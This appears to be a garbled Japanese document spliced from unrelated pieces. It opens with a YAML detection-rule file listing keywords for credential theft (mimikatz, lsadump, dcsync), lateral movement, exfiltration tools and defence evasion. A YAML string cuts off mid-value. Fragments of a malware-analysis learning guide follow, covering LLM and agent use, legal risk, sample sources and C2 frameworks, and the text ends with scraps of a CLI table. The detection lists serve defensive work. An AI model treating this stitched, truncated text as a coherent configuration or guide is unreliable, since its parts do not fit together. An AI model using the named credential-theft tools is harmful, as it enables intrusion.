- "SeUndockPrivilege"
- "SeSyncAgentPrivilege"
- "SeEnableDelegationPrivilege"
- "SeManageVolumePrivilege"
- "SeImpersonatePrivilege"
- "SeCreateGlobalPrivilege"
- "SeTrustedCredManAccessPrivilege"
- "SeRelabelPrivilege"
- "SeIncreaseWorkingSetPrivilege"
- "SeTimeZonePrivilege"
- "SeCreateSymbolicLinkPrivilege"
- "SeDelegateSessionUserImpersonatePrivilege"
認証情報アクセスを検出します。
suspicious_credential:
enabled: true
severity: critical
description: "認証情報アクセスを検出"
patterns:
- "lsass"
- "sam"
- "system"
- "security"
- "ntds"
- "ntds.dit"
- "secrets"
- "vault"
- "credential"
- "password"
- "passwd"
- "shadow"
- "hash"
- "kerberos"
- "krbtgt"
- "ticket"
- "golden"
- "silver"
- "mimikatz"
- "sekurlsa"
- "lsadump"
- "kerberos"
- "dpapi"
- "wdigest"
- "credman"
- "vaultcmd"
- "cmdkey"
- "runas"
- "psexec"
- "wmic"
- "powershell"
- "invoke-mimikatz"
- "invoke-kerberoast"
- "invoke-asreproast"
- "invoke-dcsync"
- "invoke-psexec"
- "invoke-wmiexec"
- "invoke-smbexec"
- "invoke-atexec"
- "invoke-schtasks"
- "invoke-runas"
- "invoke-tokenmanipulation"
- "invoke-userhunter"
- "invoke-sessiongopher"
- "invoke-recon"
- "invoke-portscan"
- "invoke-sharefinder"
- "invoke-userhunter"
- "invoke-sessiongopher"
- "invoke-recon"
- "invoke-portscan"
- "invoke-sharefinder"
横展開を検出します。
suspicious_lateral:
enabled: true
severity: critical
description: "横展開を検出"
patterns:
- "psexec"
- "wmiexec"
- "smbexec"
- "atexec"
- "schtasks"
- "winrm"
- "powershell"
- "invoke-command"
- "invoke-wmimethod"
- "invoke-cimmethod"
- "enter-pssession"
- "new-pssession"
- "invoke-psexec"
- "invoke-wmiexec"
- "invoke-smbexec"
- "invoke-atexec"
- "invoke-schtasks"
- "invoke-runas"
- "invoke-tokenmanipulation"
- "invoke-userhunter"
- "invoke-sessiongopher"
- "invoke-recon"
- "invoke-portscan"
- "invoke-sharefinder"
- "invoke-userhunter"
- "invoke-sessiongopher"
- "invoke-recon"
- "invoke-portscan"
- "invoke-sharefinder"
データ持ち出しを検出します。
suspicious_exfiltration:
enabled: true
severity: critical
description: "データ持ち出しを検出"
patterns:
- "ftp"
- "sftp"
- "scp"
- "rsync"
- "curl"
- "wget"
- "bitsadmin"
- "certutil"
- "powershell"
- "invoke-webrequest"
- "invoke-restmethod"
- "downloadstring"
- "downloadfile"
- "uploadstring"
- "uploadfile"
- "webclient"
- "net.webclient"
- "start-bitstransfer"
- "invoke-expression"
- "iex"
- "invoke-command"
- "invoke-wmimethod"
- "invoke-cimmethod"
- "get-wmiobject"
- "get-ciminstance"
- "wmic"
- "reg add"
- "reg delete"
- "schtasks"
- "at "
- "sc create"
- "sc config"
- "net user"
- "net localgroup"
- "net group"
- "net share"
- "net view"
- "net use"
- "net session"
- "net start"
- "net stop"
- "net pause"
- "net continue"
- "net statistics"
- "net config"
- "net time"
- "net accounts"
- "net computer"
- "net print"
- "net send"
- "net name"
- "net file"
- "net statistics"
- "net config"
- "net time"
- "net accounts"
- "net computer"
- "net print"
- "net send"
- "net name"
- "net file"
防御回避を検出します。
suspicious_evasion:
enabled: true
severity: high
description: "防御回避を検出"
patterns:
- "amsi"
- "etw"
- "defender"
- "antivirus"
- "firewall"
- "uac"
- "bypass"
- "disable"
- "stop"
- "kill"
- "remove"
- "delete"
- "clear"
- "flush"
- "reset"
- "uninstall"
- "set-mppreference"
- "add-mppreference"
- "remove-mppreference"
- "set-executionpolicy"
- "bypass"
- "unrestricted"
- "nop"
- "noni"
- "hidden"
- "encodedcommand"
- "enc"
- "e "
- "w hidden"
- "windowstyle hidden"
- "noprofile"
- "nologo"
- "noninteractive"
- "sta"
- "mta"
- "version"
- "command"
- "file"
- "inputformat"
- "outputformat"
- "configurationname"
- "settingsfile"
- "psconsolefile"
- "help"
- "?"
- "verbose"
- "debug"
- "erroraction"
- "errorvariable"
- "warningaction"
- "warningvariable"
- "informationaction"
- "informationvariable"
- "outvariable"
- "outbuffer"
- "pipelinevariable"
- "whatif"
- "confirm"
- "progressaction"
- "erroractionpreference"
- "warningpreference"
- "informationpreference"
- "progresspreference"
- "verbosePreference"
- "debugpreference"
- "confirmpreference"
- "whatifpreference"
- "psdefaultparametervalues"
- "psmodulepath"
- "pshome"
- "psversiontable"
- "host```text
私はこの関数を「設定ファイルの読み込み処理」だと推測しました。
この仮説を検証するために確認すべきポイントを挙げてください。
最初から答えを聞くのではなく、ヒント、確認ポイント、検証方法を聞く使い方がおすすめです。
2026年現在は、ChatGPTのような対話型LLMだけでなく、ファイルの読み書き、プログラムのビルド、コマンドの実行などを行えるCoding Agentも利用できるようになっています。 さらに、MCP(Model Context Protocol)などを利用することで、AI Agentから解析ツールを直接操作する方法も広まりつつあります。 例えばREMnuxには、AI AgentからREMnux上のマルウェア解析ツールを利用するためのMCP Serverが用意されています。
Ghidraについても、AI Agentから操作するためのMCP実装がいくつか登場しています。私もGhidraをHeadlessで利用し、MCP経由でAI Agentから解析を行うためのMecha Ghidraを開発しています。
IDAやその他のリバースエンジニアリングツールについても、MCPやAgentと連携するための実装が複数登場しており、これまで人間が手作業で行っていた解析作業をAgentに任せることができるようになっています。 一方で、初学者の段階からすべての解析をAgentに任せてしまうのはおすすめしません。「なぜその解析を行ったのか」「ツールが内部で何をしているのか」「出力された結果が正しいのか」といったことを自分で判断する力が身につきにくくなるためです。
まずは自分で解析し、分からない部分をLLMに質問するところから始めるとよいでしょう。慣れてきたら、解析支援スクリプトの作成、MCPによるツール連携、Agentを使った解析の自動化へと徐々に進んでいくことをおすすめします。
業務で扱っているマルウェア、顧客から提供されたファイル、未公開のIoC、インシデント情報、社内情報などを外部のLLMサービスへ入力する場合には注意が必要です。 利用しているサービスの契約内容、データの保持期間、学習への利用有無、所属組織のルールなどを確認したうえで利用しましょう。
必要に応じて、以下のような対策を検討してください。
また、マルウェア本体や解析対象のファイル、解析結果の中には、AI Agentを意図しない動作へ誘導する文字列が含まれている可能性もあります。 特に、AI Agentがファイル操作やコマンド実行、解析ツールの操作まで行える場合は、通常のLLMよりも強い権限を持つことになります。そのため、マルウェア解析でAI Agentを利用する場合は、VMなどの隔離環境上で実行し、安全性を確保することをおすすめします。
AIはかなり賢くなりましたが、それでも意図しないコマンドを実行することがあります。 これまでのマルウェア解析と同様に解析環境を隔離するという基本を守って利用しましょう。
2026年現在、マルウェア解析を勉強するために、最初から実際のマルウェアを入手する必要はありません。 むしろ初学者には、以下の順番をおすすめします。
最初のうちは、元のソースコードが分かっているプログラムを教材にするのがおすすめです。 自分で解析した結果と実際のソースコードを比較できるため、「どこまで正しく解析できたか」「どこを読み違えたか」を自分で確認できます。 いきなり実際のマルウェアを解析するよりも、まずは答え合わせのできる教材を使って、逆アセンブルやデコンパイル結果の読み方に慣れる方が効率よく学習できると思います。
ここではマルウェアの入手方法について触れますが、紹介するサービスを利用する際は利用規約を必ず読んで利用してください。 また、以下の内容は、マルウェアの入手を勧めるものではありません。
不正指令電磁的記録に関する罪では、マルウェアの作成、提供、取得、保管などについて、その目的や正当な理由の有無などが要件になります。
私は法律の専門家ではないため、どういった理由であれば法律上の正当な理由にあたるかはわかりません。
個人の趣味でマルウェア解析をおこなうことは正当な理由として認められない可能性もあります。
捜査されると困る、裁判になったら困る、正当な理由として提示できる活動実績がない、弁護費用がないなど、平穏な人生を絶対に送りたいという人は、個人の趣味でやらないほうがよいかと思います。
とはいえ過度に怯えすぎて萎縮する必要はないとは思います。 最低限、警視庁が公開している不正指令電磁的記録に関する罪に関するページには目を通して、内容を確認しておきましょう。
マルウェアを扱う上で気にしなければいけないことは、法律面だけではありません。 マルウェアを実行(故意かどうかは問わない)すると、たいていの場合は攻撃者の用意したサーバにアクセスします。 攻撃者のサーバには自分の利用しているIPアドレスのログが残りますし、接続時に利用しているシステムの情報を送信することもあります。 マルウェアによっては、攻撃者によるコマンドの実行などがおこなわれることも考えられますし、内部ネットワークのスキャンや(一番避けるべき)外部への感染活動などがおこなわれるかもしれません。 攻撃者のサーバに記録された情報は攻撃者自身だけでなく、第三者へ提供されることもあります。また、捜査機関はサーバを差し押さえてログを解析したうえで、ISPに情報開示請求をおこなうことができます。
以下のどれか一つにでも当てはまる場合は、実際のマルウェアを利用した学習は控えましょう。
実際のマルウェアを個人的に入手しなくても、学習する方法は前述しております。
最後にオタクがみんな大好きな以下の名言たちで前置きを終えます。
With great power comes great responsibilityThe abyss gazes also into you.マルウェアのサンプルやIoCを共有するためのサービスがいくつかあります。もっとも登録が多く有名なサービスはVirusTotalですが、有償アカウントのみダウンロードが可能であるため、ここでは無償で利用可能なサービスを紹介します。
この2つのサービスがサンプルの入手先としては有力です。
参考情報として以下のサービスも記載しておきます。
無料で使用できるオンラインサンドボックスのサービスは本来マルウェアの挙動を解析するサービスですが、他者の投稿したマルウェアをダウンロードすることができます。
以下はRAT(Remote Access Trojan)の実装を理解するのに役に立つリポジトリです。 ソースコードと実際のバイナリを比較することで、通信処理、コマンド実行、ファイル操作などの実装を学ぶことができます。
マルウェアのC2通信やAgentの実装を理解するためには、オープンソースで公開されているC2フレームワークのソースコードを読むことも参考になります。 C2フレームワークには、AgentとC2 Server間の通信、コマンドの受信と実行、ファイル操作、プロセス操作、通信データの暗号化など、マルウェアでもよく見られる機能が実装されています。 それぞれ実装言語やAgentの構造、通信方式が異なるため、ソースコードと生成されたAgentを比較しながらリバースエンジニアリングしてみるのもよいでしょう。
| 引数 | 説明 |
|---|
-d, --directory | スキャンするディレクトリを指定します。 |
-o, --output | 結果を出力するファイルを指定します。 |
-c, --config | 設定ファイルを指定します(デフォルト: config.yaml)。 |
-t, --threads | 使用するスレッド数を指定します(デフォルト: 4)。 |
| 大きなファイル |
--max-file-size を設定 |
| 誤検出 | ルールが厳しすぎる | ルールのしきい値を調整 |